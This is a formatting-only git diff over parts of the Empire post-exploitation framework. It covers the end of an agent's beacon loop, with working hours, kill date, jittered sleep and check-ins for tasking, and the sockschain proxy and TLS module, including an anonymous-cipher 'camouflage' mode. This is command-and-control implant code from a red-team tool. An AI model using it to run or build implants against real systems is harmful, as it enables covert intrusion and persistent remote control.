-while (True):
+while True:
try:
- if workingHours != '' and 'WORKINGHOURS' not in workingHours:
+ if workingHours != "" and "WORKINGHOURS" not in workingHours:
try:
- start, end = workingHours.split('-')
+ start, end = workingHours.split("-")
now = datetime.datetime.now()
startTime = datetime.datetime.strptime(start, "%H:%M")
endTime = datetime.datetime.strptime(end, "%H:%M")
@@ -1203,7 +1471,7 @@ def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
# check if we're past the killdate for this agent
# killDate form -> MO/DAY/YEAR
- if killDate != "" and 'KILLDATE' not in killDate:
+ if killDate != "" and "KILLDATE" not in killDate:
now = datetime.datetime.now().date()
try:
killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date()
@@ -1220,8 +1488,10 @@ def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
agent_exit()
# sleep for the randomized interval
- if jitter < 0: jitter = -jitter
- if jitter > 1: jitter = old_div(1, jitter)
+ if jitter < 0:
+ jitter = -jitter
+ if jitter > 1:
+ jitter = old_div(1, jitter)
minSleep = int((1.0 - jitter) * delay)
maxSleep = int((1.0 + jitter) * delay)
@@ -1230,11 +1500,13 @@ def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
(code, data) = send_message()
- if code == '200':
+ if code == "200":
try:
send_job_message_buffer()
except Exception as e:
- result = build_response_packet(0, str('[!] Failed to check job buffer!: ' + str(e)))
+ result = build_response_packet(
+ 0, str("[!] Failed to check job buffer!: " + str(e))
+ )
process_job_tasking(result)
if data.strip() == defaultResponse.strip():
missedCheckins = 0
diff --git a/empire/server/data/agent/stagers/common/sockschain.py b/empire/server/data/agent/stagers/common/sockschain.py
index 293910d97..ea31e3ea8 100644
--- a/empire/server/data/agent/stagers/common/sockschain.py
+++ b/empire/server/data/agent/stagers/common/sockschain.py
@@ -55,15 +55,15 @@
import sys
import threading
-PY2 = ((2, 0) < sys.version_info < (3, 0))
+PY2 = (2, 0) < sys.version_info < (3, 0)
if PY2:
b = lambda s: s
else:
- b = lambda s: s.encode('latin-1')
+ b = lambda s: s.encode("latin-1")
DEBUG = False
DEFAULT_TIMEOUT = 30
-#def DEBUG(foo): print foo
+# def DEBUG(foo): print foo
##[ SSL compatibility code ]##################################################
@@ -72,33 +72,33 @@
def sha1hex(data):
- hl = hashlib.sha1()
- hl.update(data)
- return hl.hexdigest().lower()
+ hl = hashlib.sha1()
+ hl.update(data)
+ return hl.hexdigest().lower()
def SSL_CheckName(commonName, digest, valid_names):
try:
- digest = str(digest, 'iso-8859-1')
+ digest = str(digest, "iso-8859-1")
except TypeError:
- pass
- digest = digest.replace(':', '')
- pairs = [(commonName, '%s/%s' % (commonName, digest))]
+ pass
+ digest = digest.replace(":", "")
+ pairs = [(commonName, "%s/%s" % (commonName, digest))]
valid = 0
- if commonName.startswith('*.'):
+ if commonName.startswith("*."):
commonName = commonName[1:].lower()
for name in valid_names:
- name = name.split('/')[0].lower()
- if ('.'+name).endswith(commonName):
- pairs.append((name, '%s/%s' % (name, digest)))
+ name = name.split("/")[0].lower()
+ if ("." + name).endswith(commonName):
+ pairs.append((name, "%s/%s" % (name, digest)))
for commonName, cNameDigest in pairs:
- if ((commonName in valid_names) or (cNameDigest in valid_names)):
+ if (commonName in valid_names) or (cNameDigest in valid_names):
valid += 1
- if DEBUG: DEBUG(('*** Cert score: %s (%s ?= %s)'
- ) % (valid, pairs, valid_names))
+ if DEBUG:
+ DEBUG(("*** Cert score: %s (%s ?= %s)") % (valid, pairs, valid_names))
return valid
@@ -106,53 +106,79 @@ def SSL_CheckName(commonName, digest, valid_names):
HAVE_PYOPENSSL = False
TLS_CA_CERTS = "/etc/ssl/certs/ca-certificates.crt"
try:
- if sys.version_info >= (3, ):
- raise ImportError('pyOpenSSL disabled (Python 3)')
- if '--nopyopenssl' in sys.argv or '--nossl' in sys.argv:
- raise ImportError('pyOpenSSL disabled')
+ if sys.version_info >= (3,):
+ raise ImportError("pyOpenSSL disabled (Python 3)")
+ if "--nopyopenssl" in sys.argv or "--nossl" in sys.argv:
+ raise ImportError("pyOpenSSL disabled")
from OpenSSL import SSL
+
HAVE_SSL = HAVE_PYOPENSSL = True
- def SSL_Connect(ctx, sock,
- server_side=False, accepted=False, connected=False,
- verify_names=None):
- if DEBUG: DEBUG('*** TLS is provided by pyOpenSSL')
+ def SSL_Connect(
+ ctx, sock, server_side=False, accepted=False, connected=False, verify_names=None
+ ):
+ if DEBUG:
+ DEBUG("*** TLS is provided by pyOpenSSL")
if verify_names:
+
def vcb(conn, x509, errno, depth, rc):
- if errno != 0: return False
- if depth != 0: return True
- return (SSL_CheckName(x509.get_subject().commonName.lower(),
- x509.digest('sha1'),
- verify_names) > 0)
- ctx.set_verify(SSL.VERIFY_PEER |
- SSL.VERIFY_FAIL_IF_NO_PEER_CERT, vcb)
+ if errno != 0:
+ return False
+ if depth != 0:
+ return True
+ return (
+ SSL_CheckName(
+ x509.get_subject().commonName.lower(),
+ x509.digest("sha1"),
+ verify_names,
+ )
+ > 0
+ )
+
+ ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, vcb)
else:
- def vcb(conn, x509, errno, depth, rc): return (errno == 0)
+
+ def vcb(conn, x509, errno, depth, rc):
+ return errno == 0
+
ctx.set_verify(SSL.VERIFY_NONE, vcb)
nsock = SSL.Connection(ctx, sock)
- if accepted: nsock.set_accept_state()
- if connected: nsock.set_connect_state()
- if verify_names: nsock.do_handshake()
+ if accepted:
+ nsock.set_accept_state()
+ if connected:
+ nsock.set_connect_state()
+ if verify_names:
+ nsock.do_handshake()
return nsock
except ImportError:
try:
- if '--nossl' in sys.argv:
- raise ImportError('SSL disabled')
+ if "--nossl" in sys.argv:
+ raise ImportError("SSL disabled")
import ssl
+
HAVE_SSL = True
class SSL(object):
TLSv1_METHOD = ssl.PROTOCOL_TLSv1
WantReadError = ssl.SSLError
- class Error(Exception): pass
- class SysCallError(Exception): pass
- class WantWriteError(Exception): pass
- class ZeroReturnError(Exception): pass
+
+ class Error(Exception):
+ pass
+
+ class SysCallError(Exception):
+ pass
+
+ class WantWriteError(Exception):
+ pass
+
+ class ZeroReturnError(Exception):
+ pass
+
class Context(object):
def __init__(self, method):
self.method = method
@@ -161,83 +187,110 @@ def __init__(self, method):
self.ca_certs = None
self.ciphers = None
self.options = 0
+
def use_privatekey_file(self, fn):
self.privatekey_file = fn
+
def use_certificate_chain_file(self, fn):
self.certchain_file = fn
+
def set_cipher_list(self, ciphers):
self.ciphers = ciphers
+
def load_verify_locations(self, pemfile, capath=None):
self.ca_certs = pemfile
+
def set_options(self, options): # FIXME: this does nothing
self.options = options
- if hasattr(ssl, 'PROTOCOL_SSLv23'):
+ if hasattr(ssl, "PROTOCOL_SSLv23"):
SSL.SSLv23_METHOD = ssl.PROTOCOL_SSLv23
- if hasattr(ssl, 'OP_NO_SSLv2'):
+ if hasattr(ssl, "OP_NO_SSLv2"):
SSL.OP_NO_SSLv2 = ssl.OP_NO_SSLv2
- if hasattr(ssl, 'OP_NO_SSLv3'):
+ if hasattr(ssl, "OP_NO_SSLv3"):
SSL.OP_NO_SSLv3 = ssl.OP_NO_SSLv3
- if hasattr(ssl, 'OP_NO_COMPRESSION'):
+ if hasattr(ssl, "OP_NO_COMPRESSION"):
SSL.OP_NO_COMPRESSION = ssl.OP_NO_COMPRESSION
- if hasattr(ssl, 'PROTOCOL_TLS'):
+ if hasattr(ssl, "PROTOCOL_TLS"):
SSL.TLS_METHOD = ssl.PROTOCOL_TLS
def SSL_CheckPeerName(fd, names):
cert = fd.getpeercert()
certhash = sha1hex(fd.getpeercert(binary_form=True))
- if not cert: return None
+ if not cert:
+ return None
valid = 0
- for field in cert['subject']:
- if field[0][0].lower() == 'commonname':
+ for field in cert["subject"]:
+ if field[0][0].lower() == "commonname":
valid += SSL_CheckName(field[0][1].lower(), certhash, names)
- if 'subjectAltName' in cert:
- for field in cert['subjectAltName']:
- if field[0].lower() == 'dns':
+ if "subjectAltName" in cert:
+ for field in cert["subjectAltName"]:
+ if field[0].lower() == "dns":
name = field[1].lower()
valid += SSL_CheckName(name, certhash, names)
- return (valid > 0)
-
- def SSL_Connect(ctx, sock,
- server_side=False, accepted=False, connected=False,
- verify_names=None):
- if DEBUG: DEBUG('*** TLS is provided by native Python ssl')
- reqs = (verify_names and ssl.CERT_REQUIRED or ssl.CERT_NONE)
+ return valid > 0
+
+ def SSL_Connect(
+ ctx,
+ sock,
+ server_side=False,
+ accepted=False,
+ connected=False,
+ verify_names=None,
+ ):
+ if DEBUG:
+ DEBUG("*** TLS is provided by native Python ssl")
+ reqs = verify_names and ssl.CERT_REQUIRED or ssl.CERT_NONE
try:
- fd = ssl.wrap_socket(sock, keyfile=ctx.privatekey_file,
- certfile=ctx.certchain_file,
- cert_reqs=reqs,
- ca_certs=ctx.ca_certs,
- do_handshake_on_connect=False,
- ssl_version=ctx.method,
- ciphers=ctx.ciphers,
- server_side=server_side)
+ fd = ssl.wrap_socket(
+ sock,
+ keyfile=ctx.privatekey_file,
+ certfile=ctx.certchain_file,
+ cert_reqs=reqs,
+ ca_certs=ctx.ca_certs,
+ do_handshake_on_connect=False,
+ ssl_version=ctx.method,
+ ciphers=ctx.ciphers,
+ server_side=server_side,
+ )
except:
- fd = ssl.wrap_socket(sock, keyfile=ctx.privatekey_file,
- certfile=ctx.certchain_file,
- cert_reqs=reqs,
- ca_certs=ctx.ca_certs,
- do_handshake_on_connect=False,
- ssl_version=ctx.method,
- server_side=server_side)
+ fd = ssl.wrap_socket(
+ sock,
+ keyfile=ctx.privatekey_file,
+ certfile=ctx.certchain_file,
+ cert_reqs=reqs,
+ ca_certs=ctx.ca_certs,
+ do_handshake_on_connect=False,
+ ssl_version=ctx.method,
+ server_side=server_side,
+ )
if verify_names:
fd.do_handshake()
if not SSL_CheckPeerName(fd, verify_names):
- raise SSL.Error(('Cert not in %s (%s)'
- ) % (verify_names, reqs))
+ raise SSL.Error(("Cert not in %s (%s)") % (verify_names, reqs))
return fd
except ImportError:
+
class SSL(object):
# Mock to let our try/except clauses below not fail.
- class Error(Exception): pass
- class SysCallError(Exception): pass
- class WantReadError(Exception): pass
- class WantWriteError(Exception): pass
- class ZeroReturnError(Exception): pass
+ class Error(Exception):
+ pass
+
+ class SysCallError(Exception):
+ pass
+
+ class WantReadError(Exception):
+ pass
+
+ class WantWriteError(Exception):
+ pass
+
+ class ZeroReturnError(Exception):
+ pass
def DisableSSLCompression():
@@ -247,6 +300,7 @@ def DisableSSLCompression():
# See https://github.com/hausen/SSLZlibOff for working code.
try:
import sslzliboff
+
sslzliboff.disableZlib()
return
except:
@@ -258,6 +312,7 @@ def DisableSSLCompression():
try:
import ctypes
import glob
+
openssl = ctypes.CDLL(None, ctypes.RTLD_GLOBAL)
try:
f = openssl.SSL_COMP_get_compression_methods
@@ -269,36 +324,39 @@ def DisableSSLCompression():
openssl.sk_zero.argtypes = [ctypes.c_void_p]
openssl.sk_zero(openssl.SSL_COMP_get_compression_methods())
except Exception:
- if DEBUG: DEBUG('disableSSLCompression: Failed')
+ if DEBUG:
+ DEBUG("disableSSLCompression: Failed")
-def MakeBestEffortSSLContext(weak=False, legacy=False, anonymous=False,
- ciphers=None):
+def MakeBestEffortSSLContext(weak=False, legacy=False, anonymous=False, ciphers=None):
ssl_version, ssl_options = SSL.TLSv1_METHOD, 0
- if hasattr(SSL, 'SSLv23_METHOD') and (weak or legacy):
+ if hasattr(SSL, "SSLv23_METHOD") and (weak or legacy):
ssl_version = SSL.SSLv23_METHOD
- if hasattr(SSL, 'OP_NO_SSLv2') and not weak:
+ if hasattr(SSL, "OP_NO_SSLv2") and not weak:
ssl_version = SSL.SSLv23_METHOD
ssl_options |= SSL.OP_NO_SSLv2
- if hasattr(SSL, 'OP_NO_SSLv3') and not (weak or legacy):
+ if hasattr(SSL, "OP_NO_SSLv3") and not (weak or legacy):
ssl_version = SSL.SSLv23_METHOD
ssl_options |= SSL.OP_NO_SSLv3
- if hasattr(SSL, 'TLS_METHOD') and not (weak or legacy):
+ if hasattr(SSL, "TLS_METHOD") and not (weak or legacy):
ssl_version = SSL.TLS_METHOD
- if hasattr(SSL, 'OP_NO_COMPRESSION'):
+ if hasattr(SSL, "OP_NO_COMPRESSION"):
ssl_options |= SSL.OP_NO_COMPRESSION
if not ciphers:
if anonymous:
# Insecure and use anon ciphers - this is just camoflage
- ciphers = 'aNULL'
+ ciphers = "aNULL"
else:
- ciphers = 'HIGH:-aNULL:-eNULL:-PSK:RC4-SHA:RC4-MD5'
+ ciphers = "HIGH:-aNULL:-eNULL:-PSK:RC4-SHA:RC4-MD5"
- if DEBUG: DEBUG('*** Context: ssl_version=%x, ssl_options=%x, ciphers=%s'
- % (ssl_version, ssl_options, ciphers))
+ if DEBUG:
+ DEBUG(
+ "*** Context: ssl_version=%x, ssl_options=%x, ciphers=%s"
+ % (ssl_version, ssl_options, ciphers)
+ )
ctx = SSL.Context(ssl_version)
ctx.set_options(ssl_options)
ctx.set_cipher_list(ciphers)
@@ -320,9 +378,13 @@ def MakeBestEffortSSLContext(weak=False, legacy=False, anonymous=False,
PROXY_TYPE_HTTP_CONNECT = 9
PROXY_TYPE_HTTPS_CONNECT = 10
-PROXY_SSL_TYPES = (PROXY_TYPE_SSL, PROXY_TYPE_SSL_WEAK,
- PROXY_TYPE_SSL_ANON, PROXY_TYPE_HTTPS,
- PROXY_TYPE_HTTPS_CONNECT)
+PROXY_SSL_TYPES = (
+ PROXY_TYPE_SSL,
+ PROXY_TYPE_SSL_WEAK,
+ PROXY_TYPE_SSL_ANON,
+ PROXY_TYPE_HTTPS,
+ PROXY_TYPE_HTTPS_CONNECT,
+)
PROXY_HTTP_TYPES = (PROXY_TYPE_HTTP, PROXY_TYPE_HTTPS)
PROXY_HTTPC_TYPES = (PROXY_TYPE_HTTP_CONNECT, PROXY_TYPE_HTTPS_CONNECT)
PROXY_SOCKS5_TYPES = (PROXY_TYPE_SOCKS5, PROXY_TYPE_TOR)
@@ -336,33 +398,37 @@ def MakeBestEffortSSLContext(weak=False, legacy=False, anonymous=False,
PROXY_TYPE_TOR: 9050,
}
PROXY_TYPES = {
- 'none': PROXY_TYPE_NONE,
- 'default': PROXY_TYPE_DEFAULT,
- 'defaults': PROXY_TYPE_DEFAULT,
- 'http': PROXY_TYPE_HTTP,
- 'httpc': PROXY_TYPE_HTTP_CONNECT,
- 'socks': PROXY_TYPE_SOCKS5,
- 'socks4': PROXY_TYPE_SOCKS4,
- 'socks4a': PROXY_TYPE_SOCKS4,
- 'socks5': PROXY_TYPE_SOCKS5,
- 'tor': PROXY_TYPE_TOR,
+ "none": PROXY_TYPE_NONE,
+ "default": PROXY_TYPE_DEFAULT,
+ "defaults": PROXY_TYPE_DEFAULT,
+ "http": PROXY_TYPE_HTTP,
+ "httpc": PROXY_TYPE_HTTP_CONNECT,
+ "socks": PROXY_TYPE_SOCKS5,
+ "socks4": PROXY_TYPE_SOCKS4,
+ "socks4a": PROXY_TYPE_SOCKS4,
+ "socks5": PROXY_TYPE_SOCKS5,
+ "tor": PROXY_TYPE_TOR,
}
if HAVE_SSL:
- PROXY_DEFAULTS.update({
- PROXY_TYPE_HTTPS: 443,
- PROXY_TYPE_HTTPS_CONNECT: 443,
- PROXY_TYPE_SSL: 443,
- PROXY_TYPE_SSL_WEAK: 443,
- PROXY_TYPE_SSL_ANON: 443,
- })
- PROXY_TYPES.update({
- 'https': PROXY_TYPE_HTTPS,
- 'httpcs': PROXY_TYPE_HTTPS_CONNECT,
- 'ssl': PROXY_TYPE_SSL,
- 'ssl-anon': PROXY_TYPE_SSL_ANON,
- 'ssl-weak': PROXY_TYPE_SSL_WEAK,
- })
+ PROXY_DEFAULTS.update(
+ {
+ PROXY_TYPE_HTTPS: 443,
+ PROXY_TYPE_HTTPS_CONNECT: 443,
+ PROXY_TYPE_SSL: 443,
+ PROXY_TYPE_SSL_WEAK: 443,
+ PROXY_TYPE_SSL_ANON: 443,
+ }
+ )
+ PROXY_TYPES.update(
+ {
+ "https": PROXY_TYPE_HTTPS,
+ "httpcs": PROXY_TYPE_HTTPS_CONNECT,
+ "ssl": PROXY_TYPE_SSL,
+ "ssl-anon": PROXY_TYPE_SSL_ANON,
+ "ssl-weak": PROXY_TYPE_SSL_WEAK,
+ }
+ )
P_TYPE = 0
P_HOST = 1
@@ -372,28 +438,48 @@ def MakeBestEffortSSLContext(weak=False, legacy=False, anonymous=False,
P_PASS = P_CACERTS = 5
P_CERTS = 6
-DEFAULT_ROUTE = '*'
-_proxyroutes = { }
+DEFAULT_ROUTE = "*"
+_proxyroutes = {}
_orgsocket = socket.socket
-_orgcreateconn = getattr(socket, 'create_connection', None)
+_orgcreateconn = getattr(socket, "create_connection", None)
_thread_locals = threading.local()
-class ProxyError(Exception): pass
-class GeneralProxyError(ProxyError): pass
-class Socks5AuthError(ProxyError): pass
-class Socks5Error(ProxyError): pass
-class Socks4Error(ProxyError): pass
-class HTTPError(ProxyError): pass
+class ProxyError(Exception):
+ pass
-_generalerrors = ("success",
+
+class GeneralProxyError(ProxyError):
+ pass
+
+
+class Socks5AuthError(ProxyError):
+ pass
+
+
+class Socks5Error(ProxyError):
+ pass
+
+
+class Socks4Error(ProxyError):
+ pass
+
+
+class HTTPError(ProxyError):
+ pass
+
+
+_generalerrors = (
+ "success",
"invalid data",
"not connected",
"not available",
"bad proxy type",
- "bad input")
+ "bad input",
+)
-_socks5errors = ("succeeded",
+_socks5errors = (
+ "succeeded",
"general SOCKS server failure",
"connection not allowed by ruleset",
"Network unreachable",
@@ -402,63 +488,83 @@ class HTTPError(ProxyError): pass
"TTL expired",
"Command not supported",
"Address type not supported",
- "Unknown error")
+ "Unknown error",
+)
-_socks5autherrors = ("succeeded",
+_socks5autherrors = (
+ "succeeded",
"authentication is required",
"all offered authentication methods were rejected",
"unknown username or invalid password",
- "unknown error")
+ "unknown error",
+)
-_socks4errors = ("request granted",
+_socks4errors = (
+ "request granted",
"request rejected or failed",
"request rejected because SOCKS server cannot connect to identd on the client",
"request rejected because the client program and identd report different user-ids",
- "unknown error")
+ "unknown error",
+)
def parseproxy(arg):
# This silly function will do a quick-and-dirty parse of our argument
# into a proxy specification array. It lets people omit stuff.
- if '!' in arg:
- # Prefer ! to :, because it works with IPv6 addresses.
- args = arg.split('!')
+ if "!" in arg:
+ # Prefer ! to :, because it works with IPv6 addresses.
+ args = arg.split("!")
else:
- # This is a bit messier to accept common URL syntax
- if arg.endswith('/'):
- arg = arg[:-1]
- args = arg.replace('://', ':').replace('/:', ':').split(':')
- args[0] = PROXY_TYPES[args[0] or 'http']
+ # This is a bit messier to accept common URL syntax
+ if arg.endswith("/"):
+ arg = arg[:-1]
+ args = arg.replace("://", ":").replace("/:", ":").split(":")
+ args[0] = PROXY_TYPES[args[0] or "http"]
- if (len(args) in (3, 4, 5)) and ('@' in args[2]):
+ if (len(args) in (3, 4, 5)) and ("@" in args[2]):
# Re-order http://user:pass@host:port/ => http:host:port:user:pass
- pwd, host = args[2].split('@')
+ pwd, host = args[2].split("@")
user = args[1]
args[1:3] = [host]
- if len(args) == 2: args.append(PROXY_DEFAULTS[args[0]])
- if len(args) == 3: args.append(False)
+ if len(args) == 2:
+ args.append(PROXY_DEFAULTS[args[0]])
+ if len(args) == 3:
+ args.append(False)
args.extend([user, pwd])
- elif (len(args) in (2, 3, 4)) and ('@' in args[1]):
- user, host = args[1].split('@')
+ elif (len(args) in (2, 3, 4)) and ("@" in args[1]):
+ user, host = args[1].split("@")
args[1] = host
- if len(args) == 2: args.append(PROXY_DEFAULTS[args[0]])
- if len(args) == 3: args.append(False)
+ if len(args) == 2:
+ args.append(PROXY_DEFAULTS[args[0]])
+ if len(args) == 3:
+ args.append(False)
args.append(user)
- if len(args) == 2: args.append(PROXY_DEFAULTS[args[0]])
- if len(args) > 2: args[2] = int(args[2])
+ if len(args) == 2:
+ args.append(PROXY_DEFAULTS[args[0]])
+ if len(args) > 2:
+ args[2] = int(args[2])
if args[P_TYPE] in PROXY_SSL_TYPES:
- names = (args[P_HOST] or '').split(',')
- args[P_HOST] = names[0]
- while len(args) <= P_CERTS:
- args.append((len(args) == P_RDNS) and True or None)
- args[P_CERTS] = (len(names) > 1) and names[1:] or names
+ names = (args[P_HOST] or "").split(",")
+ args[P_HOST] = names[0]
+ while len(args) <= P_CERTS:
+ args.append((len(args) == P_RDNS) and True or None)
+ args[P_CERTS] = (len(names) > 1) and names[1:] or names
return args
-def addproxy(dest='*', proxytype=None, addr=None, port=None, rdns=True,
- username=None, password=None, certnames=None):
+
+def addproxy(
+ dest="*",
+ proxytype=None,
+ addr=None,
+ port=None,
+ rdns=True,
+ username=None,
+ password=None,
+ certnames=None,
+):
global _proxyroutes
route = _proxyroutes.get(dest.lower(), None)
proxy = (proxytype, addr, port, rdns, username, password, certnames)
@@ -466,22 +572,26 @@ def addproxy(dest='*', proxytype=None, addr=None, port=None, rdns=True,
route = _proxyroutes.get(DEFAULT_ROUTE, [])[:]
route.append(proxy)
_proxyroutes[dest.lower()] = route
- if DEBUG: DEBUG('Routes are: %s' % (_proxyroutes, ))
+ if DEBUG:
+ DEBUG("Routes are: %s" % (_proxyroutes,))
+
def setproxy(dest, *args, **kwargs):
global _proxyroutes
dest = dest.lower()
if args:
- _proxyroutes[dest] = []
- return addproxy(dest, *args, **kwargs)
+ _proxyroutes[dest] = []
+ return addproxy(dest, *args, **kwargs)
else:
- if dest in _proxyroutes:
- del _proxyroutes[dest.lower()]
+ if dest in _proxyroutes:
+ del _proxyroutes[dest.lower()]
+
def setdefaultcertfile(path):
global TLS_CA_CERTS
TLS_CA_CERTS = path
+
def setdefaultproxy(*args, **kwargs):
"""setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password[, certnames]]]]])
Sets a default proxy which all further socksocket objects will use,
@@ -491,35 +601,39 @@ def setdefaultproxy(*args, **kwargs):
raise ValueError("Circular reference to default proxy.")
return setproxy(DEFAULT_ROUTE, *args, **kwargs)
+
def adddefaultproxy(*args, **kwargs):
if args and args[P_TYPE] == PROXY_TYPE_DEFAULT:
raise ValueError("Circular reference to default proxy.")
return addproxy(DEFAULT_ROUTE, *args, **kwargs)
+
def usesystemdefaults():
import os
- no_proxy = ['localhost', 'localhost.localdomain', '127.0.0.1']
- no_proxy.extend(os.environ.get('NO_PROXY',
- os.environ.get('NO_PROXY',
- '')).split(','))
+ no_proxy = ["localhost", "localhost.localdomain", "127.0.0.1"]
+ no_proxy.extend(
+ os.environ.get("NO_PROXY", os.environ.get("NO_PROXY", "")).split(",")
+ )
for host in no_proxy:
setproxy(host, PROXY_TYPE_NONE)
- for var in ('ALL_PROXY', 'HTTPS_PROXY', 'http_proxy'):
+ for var in ("ALL_PROXY", "HTTPS_PROXY", "http_proxy"):
val = os.environ.get(var.lower(), os.environ.get(var, None))
if val:
setdefaultproxy(*parseproxy(val))
- os.environ[var] = ''
+ os.environ[var] = ""
return
+
def sockcreateconn(*args, **kwargs):
_thread_locals.create_conn = args[0]
try:
- rv = _orgcreateconn(*args, **kwargs)
- return rv
+ rv = _orgcreateconn(*args, **kwargs)
+ return rv
finally:
- del(_thread_locals.create_conn)
+ del _thread_locals.create_conn
+
class socksocket(socket.socket):
"""socksocket([family[, type[, proto]]]) -> socket object
@@ -528,41 +642,51 @@ class socksocket(socket.socket):
you must specify family=AF_INET, type=SOCK_STREAM and proto=0.
"""
- def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0,
- *args, **kwargs):
+ def __init__(
+ self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, *args, **kwargs
+ ):
self.__family = family
self.__type = type
self.__proto = proto
self.__args = args
self.__kwargs = kwargs
- self.__sock = _orgsocket(family, self.__type, self.__proto,
- *self.__args, **self.__kwargs)
+ self.__sock = _orgsocket(
+ family, self.__type, self.__proto, *self.__args, **self.__kwargs
+ )
self.__proxy = None
self.__proxysockname = None
self.__proxypeername = None
self.__makefile_refs = 0
- self.__buffer = b''
+ self.__buffer = b""
self.__negotiating = False
- self.__override = ['addproxy', 'setproxy',
- 'getproxysockname', 'getproxypeername',
- 'close', 'connect', 'getpeername', 'makefile',
- 'recv', 'recv_into'] #, 'send', 'sendall']
+ self.__override = [
+ "addproxy",
+ "setproxy",
+ "getproxysockname",
+ "getproxypeername",
+ "close",
+ "connect",
+ "getpeername",
+ "makefile",
+ "recv",
+ "recv_into",
+ ] # , 'send', 'sendall']
def __getattribute__(self, name):
- if name.startswith('_socksocket__'):
- return object.__getattribute__(self, name)
+ if name.startswith("_socksocket__"):
+ return object.__getattribute__(self, name)
elif name in self.__override:
- return object.__getattribute__(self, name)
+ return object.__getattribute__(self, name)
else:
- return getattr(object.__getattribute__(self, "_socksocket__sock"),
- name)
+ return getattr(object.__getattribute__(self, "_socksocket__sock"), name)
def __setattr__(self, name, value):
- if name.startswith('_socksocket__'):
- return object.__setattr__(self, name, value)
+ if name.startswith("_socksocket__"):
+ return object.__setattr__(self, name, value)
else:
- return setattr(object.__getattribute__(self, "_socksocket__sock"),
- name, value)
+ return setattr(
+ object.__getattribute__(self, "_socksocket__sock"), name, value
+ )
def __settimeout(self, timeout):
try:
@@ -582,8 +706,8 @@ def __recvall(self, count):
data = self.recv(count)
while len(data) < count:
- d = self.recv(count-len(data))
- if d == '':
+ d = self.recv(count - len(data))
+ if d == "":
raise GeneralProxyError((0, "connection closed unexpectedly"))
data = data + d
return data
@@ -594,14 +718,23 @@ def close(self):
else:
self.__makefile_refs -= 1
- def makefile(self, mode='r', bufsize=-1):
+ def makefile(self, mode="r", bufsize=-1):
self.__makefile_refs += 1
if PY2:
return socket._fileobject(self, mode, bufsize, close=True)
else:
return socket.SocketIO(self, mode)
- def addproxy(self, proxytype=None, addr=None, port=None, rdns=True, username=None, password=None, certnames=None):
+ def addproxy(
+ self,
+ proxytype=None,
+ addr=None,
+ port=None,
+ rdns=True,
+ username=None,
+ password=None,
+ certnames=None,
+ ):
"""setproxy(proxytype, addr[, port[, rdns[, username[, password[, certnames]]]]])
Sets the proxy to be used.
proxytype - The type of the proxy to be used. Three types
@@ -619,12 +752,13 @@ def addproxy(self, proxytype=None, addr=None, port=None, rdns=True, username=Non
Only relevant when username is also provided.
"""
proxy = (proxytype, addr, port, rdns, username, password, certnames)
- if not self.__proxy: self.__proxy = []
+ if not self.__proxy:
+ self.__proxy = []
self.__proxy.append(proxy)
def setproxy(self, *args, **kwargs):
"""setproxy(proxytype, addr[, port[, rdns[, username[, password[, certnames]]]]])
- (see addproxy)
+ (see addproxy)
"""
self.__proxy = []
self.addproxy(*args, **kwargs)
@@ -634,15 +768,15 @@ def __negotiatesocks5(self, destaddr, destport, proxy):
Negotiates a connection through a SOCKS5 server.
"""
# First we'll send the authentication packages we support.
- if (proxy[P_USER]!=None) and (proxy[P_PASS]!=None):
+ if (proxy[P_USER] != None) and (proxy[P_PASS] != None):
# The username/password details were supplied to the
# setproxy method so we support the USERNAME/PASSWORD
# authentication (in addition to the standard none).
- self.sendall(struct.pack('BBBB', 0x05, 0x02, 0x00, 0x02))
+ self.sendall(struct.pack("BBBB", 0x05, 0x02, 0x00, 0x02))
else:
# No username/password were entered, therefore we
# only support connections with no authentication.
- self.sendall(struct.pack('BBB', 0x05, 0x01, 0x00))
+ self.sendall(struct.pack("BBB", 0x05, 0x01, 0x00))
# We'll receive the server's response to determine which
# method was selected
chosenauth = self.__recvall(2)
@@ -656,9 +790,13 @@ def __negotiatesocks5(self, destaddr, destport, proxy):
elif chosenauth[1:2] == chr(0x02).encode():
# Okay, we need to perform a basic username/password
# authentication.
- self.sendall(chr(0x01).encode() +
- chr(len(proxy[P_USER])) + proxy[P_USER] +
- chr(len(proxy[P_PASS])) + proxy[P_PASS])
+ self.sendall(
+ chr(0x01).encode()
+ + chr(len(proxy[P_USER]))
+ + proxy[P_USER]
+ + chr(len(proxy[P_PASS]))
+ + proxy[P_PASS]
+ )
authstat = self.__recvall(2)
if authstat[0:1] != chr(0x01).encode():
# Bad response
@@ -677,26 +815,27 @@ def __negotiatesocks5(self, destaddr, destport, proxy):
else:
raise GeneralProxyError((1, _generalerrors[1]))
# Now we can request the actual connection
- req = struct.pack('BBB', 0x05, 0x01, 0x00)
+ req = struct.pack("BBB", 0x05, 0x01, 0x00)
# If the given destination address is an IP address, we'll
# use the IPv4 address request even if remote resolving was specified.
try:
ipaddr = socket.inet_aton(destaddr)
if isinstance(ipaddr, str):
- ipaddr = ipaddr.encode('latin-1')
+ ipaddr = ipaddr.encode("latin-1")
req = req + chr(0x01).encode() + ipaddr
except socket.error:
# Well it's not an IP number, so it's probably a DNS name.
if proxy[P_RDNS]:
# Resolve remotely
ipaddr = None
- req = req + (chr(0x03).encode() +
- chr(len(destaddr)).encode() + b(destaddr))
+ req = req + (
+ chr(0x03).encode() + chr(len(destaddr)).encode() + b(destaddr)
+ )
else:
# Resolve locally
ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
if isinstance(ipaddr, str):
- ipaddr = ipaddr.encode('UTF-8')
+ ipaddr = ipaddr.encode("UTF-8")
req = req + chr(0x01).encode() + ipaddr
req = req + struct.pack(">H", destport)
self.sendall(req)
@@ -708,9 +847,8 @@ def __negotiatesocks5(self, destaddr, destport, proxy):
elif resp[1:2] != chr(0x00).encode():
# Connection failed
self.close()
- if ord(resp[1:2])<=8:
- raise Socks5Error((ord(resp[1:2]),
- _socks5errors[ord(resp[1:2])]))
+ if ord(resp[1:2]) <= 8:
+ raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])]))
else:
raise Socks5Error((9, _socks5errors[9]))
# Get the bound address/port
